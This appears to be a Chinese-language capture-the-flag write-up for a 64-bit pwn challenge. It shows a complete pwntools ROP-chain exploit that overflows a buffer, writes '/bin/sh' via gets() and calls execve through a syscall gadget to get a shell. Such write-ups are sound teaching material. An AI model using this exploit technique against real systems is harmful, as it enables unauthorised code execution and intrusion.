pwn2 WP
pwn2
拿到题目首先判断32位还是64位,然后检查保护措施
放到IDA里观察有没有目标函数等,发现没有system函数也没有/bin/sh,于是构造
使用gdb调试,用vmmap观察各段状态
bss段可写入数据,但这道题bss段不可执行,stack可执行,所以写到栈上再返回
64位传参先使用6个寄存器:rdi rsi rdx rcx r8 r9
使用命令ROPgadget --binary pwn21 --only "pop|ret"寻找各个寄存器地址
开始编写payload:
先设置64位架构
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn21')
p.sendline(b'yes')
找到地址
pop_rax = 0x47f56a
pop_rdi = 0x40203f
pop_rsi = 0x40a0ae
pop_rdx = 0x47f56b
syscall = 0x401df4
ret = 0x40101a
bss_addr = 0x4c8290
gets_addr = 0x40c690
利用gets()函数写入/bin/sh
设置参数并调用
返回gets() 获取shell
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(gets_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(pop_rax)
payload += p64(0x3b) + p64(0)*2
payload += p64(syscall)
总结
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn21')
p.sendline(b'yes')
gdb.attach(p,'b*0x401936')
pop_rax = 0x47f56a
pop_rdi = 0x40203f
pop_rsi = 0x40a0ae
pop_rdx = 0x47f56b
syscall = 0x401df4
ret = 0x40101a
bss_addr = 0x4c8290
gets_addr = 0x40c690
payload = b'A' * 0x28
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(gets_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(pop_rax)
payload += p64(0x3b) +p64(0)*2
payload += p64(syscall)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()
用ni调试
可以看到rax rbx rdi rsi 已经写入正确数据
在寻找rax地址时首先使用第二个,调试时候会报错所以用第一个,但第一个除了rax还有rdx rbx
所以rdx地址不需要重新找,但rdx rbx的填充值是0 而rax的填充值是0x3b,在写payload时直接加p64(0)
调试成功后返回,输入ls即可